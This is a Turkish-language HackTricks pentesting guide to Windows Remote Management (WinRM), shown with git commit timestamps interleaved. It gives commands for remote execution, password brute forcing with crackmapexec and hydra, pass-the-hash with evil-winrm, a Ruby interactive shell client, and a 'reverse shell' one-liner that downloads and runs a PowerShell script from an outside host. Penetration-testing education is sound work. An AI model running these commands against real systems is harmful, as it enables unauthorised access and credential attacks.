hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

326 lines
16 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# 5985,5986 - WinRM Pentesting
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
**Hackleme İçgörüleri**\
Hackleme heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
Yayınlanan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
2023-07-14 15:03:41 +00:00
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
[Windows Uzak Yönetimi (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx), HTTP(S) üzerinden Windows sistemlerinin uzaktan yönetimini sağlayan **Microsoft tarafından geliştirilen bir protokol** olarak öne çıkar. SOAP'ı kullanarak işlem yapar. Temelde WMI tarafından desteklenir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
Bir makinede WinRM'nin bulunması, SSH'nin diğer işletim sistemleri için nasıl çalıştığına benzer şekilde PowerShell aracılığıyla kolay uzaktan yönetimi sağlar. WinRM'nin etkin olup olmadığını belirlemek için belirli bağlantı noktalarının açılıp açılmadığının kontrol edilmesi önerilir:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Yukarıdaki listeden bir açık bağlantı noktası, WinRM'nin kurulduğunu ve dolayısıyla uzaktan oturum başlatma girişimlerine izin verildiğini gösterir.
2024-02-10 18:14:16 +00:00
### **WinRM Oturumu Başlatma**
PowerShell'i WinRM için yapılandırmak için Microsoft'un `Enable-PSRemoting` komut dosyası devreye girer ve bilgisayarın uzaktan PowerShell komutlarını kabul etmesini sağlar. Yönetici PowerShell erişimi ile, aşağıdaki komutlar bu işlevselliği etkinleştirmek ve herhangi bir ana bilgisayarı güvenilir olarak belirlemek için çalıştırılabilir.
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 18:14:16 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir, bu adım sonuçları nedeniyle dikkatli bir şekilde düşünülmesi gereken bir adımdır. Ayrıca, saldırganın makinesinde ağ türünün "Genel"den "İş"e değiştirilmesinin gerekebileceği belirtilmektedir.
Ayrıca, WinRM, aşağıdaki gibi gösterildiği gibi `wmic` komutunu kullanarak **uzaktan etkinleştirilebilir**:
2024-02-08 21:36:35 +00:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Bu yöntem, WinRM'nin uzaktan kurulumuna olanak tanır, Windows makinelerini uzaktan yönetme esnekliğini artırır.
2024-02-08 21:36:35 +00:00
### Yapılandırıldı mı diye test edin
2024-02-08 21:36:35 +00:00
Saldırı makinenizin yapılandırmasını doğrulamak için `Test-WSMan` komutu kullanılır ve hedefin WinRM'nin doğru şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için kullanılır. Bu komutu çalıştırarak, protokol sürümü ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz, başarılı yapılandırmayı gösterir. Aşağıda, yapılandırılmış bir hedef için beklenen çıktıyı gösteren örnekler ve yapılandırılmamış bir hedef için örnekler bulunmaktadır:
* **Doğru şekilde yapılandırılmış** bir hedef için çıktı şuna benzer olacaktır:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan <target-ip>
```
### Bir komutu çalıştır
Uzaktaki bir makinede `ipconfig` komutunu çalıştırmak ve çıktısını görüntülemek için şunu yapın:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (148).png>)
Ayrıca, mevcut PS konsolunuzda bir komutu **Invoke-Command** aracılığıyla çalıştırabilirsiniz. Diyelim ki yerel olarak _enumeration_ adında bir fonksiyonunuz var ve bunu **uzak bir bilgisayarda çalıştırmak istiyorsunuz**, şunu yapabilirsiniz:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Bir Komut Dosyası Çalıştırın
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 18:14:16 +00:00
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
2024-02-10 18:14:16 +00:00
### Ters kabuk alın
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Bir PS oturumu alın
Etkileşimli bir PowerShell kabuğu almak için `Enter-PSSession` komutunu kullanın:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-10 18:14:16 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1006).png>)
**Oturum, "kurban" içinde yeni bir işlemde (wsmprovhost) çalışacaktır.**
2024-02-10 18:14:16 +00:00
### **WinRM'yi Zorlama**
PS Remoting ve WinRM'yi kullanmak için bilgisayar yapılandırılmamışsa, şunları kullanarak etkinleştirebilirsiniz:
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-10 18:14:16 +00:00
### Oturumları Kaydetme ve Geri Yükleme
Bu, uzak bilgisayarda dil kısıtlandığında **çalışmayacaktır**.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Bu oturumlar içinde _Invoke-Command_ kullanarak PS betiklerini yükleyebilirsiniz.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-10 18:14:16 +00:00
### Hatalar
2024-02-10 18:14:16 +00:00
Aşağıdaki hatayı bulursanız:
`enter-pssession : Uzak sunucuya 10.10.10.175 bağlanma işlemi aşağıdaki hata ile başarısız oldu: WinRM istemcisi isteği işleyemez. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir etki alanına katılmamışsa, HTTPS taşıması kullanılmalı veya hedef makine GüvenilirAnaBilgisayarlar yapılandırma ayarına eklenmelidir. GüvenilirAnaBilgisayarlar yapılandırma ayarını yapılandırmak için winrm.cmd'yi kullanın. GüvenilirAnaBilgisayarlar listesindeki bilgisayarların kimlik doğrulaması yapılmamış olabileceğini unutmayın. Bu konu hakkında daha fazla bilgi almak için aşağıdaki komutu çalıştırarak daha fazla bilgi alabilirsiniz: winrm help config. Daha fazla bilgi için about_Remote_Troubleshooting Yardım konusuna bakın.`
İstemci üzerinde deneyin ([buradan bilgi](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın, deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
2023-02-27 09:28:45 +00:00
**Hacking Insights**\
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
2022-10-27 23:22:18 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
Yeni ödül avcılıklarının başlatılması ve önemli platform güncellemeleri hakkında bilgi edinin
2023-07-14 15:03:41 +00:00
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) katılın ve bugün en iyi hackerlarla işbirliğine başlayın!
2022-10-27 23:22:18 +00:00
2024-02-10 18:14:16 +00:00
## Linux'ta WinRM bağlantısı
### Kaba Kuvvet
2020-09-20 21:44:41 +00:00
Dikkatli olun, WinRM kaba kuvvet saldırıları kullanıcıları engelleyebilir.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2024-02-10 18:14:16 +00:00
### evil-winrm Kullanımı
```ruby
2024-02-10 18:14:16 +00:00
gem install evil-winrm
```
**Belgelendirmeyi** şuradan okuyabilirsiniz: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
2024-02-10 18:14:16 +00:00
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Evil-winrm'yi kullanarak bir **IPv6 adresine** bağlanmak için, IPv6 adresine bir **alan adı** atayarak _**/etc/hosts**_ içinde bir giriş oluşturun ve o alan adına bağlanın.
2024-02-10 18:14:16 +00:00
### evil-winrm ile hash geçirme
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
### Bir PS-docker makinesi kullanma
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Bir ruby betiği kullanma
**Koddan alınan yer:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2024-02-10 18:14:16 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-10 18:14:16 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-10 18:14:16 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2024-02-10 18:14:16 +00:00
## Referanslar
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
2024-02-10 18:14:16 +00:00
## HackTricks Otomatik Komutları
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2024-02-10 18:14:16 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2024-02-10 18:14:16 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2024-02-10 18:14:16 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2024-02-10 18:14:16 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2024-02-10 18:14:16 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2024-02-10 18:14:16 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2024-02-10 18:14:16 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
2023-07-14 15:03:41 +00:00
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
**Hacking Insights**\
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
2022-10-27 23:22:18 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Hızla değişen hack dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin
2023-02-27 09:28:45 +00:00
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>